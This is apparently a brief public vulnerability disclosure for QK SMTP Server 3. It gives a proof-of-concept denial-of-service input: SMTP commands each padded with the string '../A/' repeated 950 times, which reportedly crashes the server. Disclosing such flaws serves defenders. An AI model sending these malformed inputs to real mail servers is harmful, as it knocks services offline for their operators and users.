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QK SMTP Server 3 - Denial of service



QK SMTP Server 3 - Denial of service
QK SMTP Server 3 - Denial of service



Apparently this SMTP server crashes when creating a mail poorly trained causing a denial of service.

Proof-of-concept

HELO ../A/ * 950
MAIL FROM: ../A/ * 950
RCPT TO: ../A/ * 950
data
../A/ * 950
.

Juan Pablo Lopez Yacubian
http://fuzzertina.blogspot.com/ 

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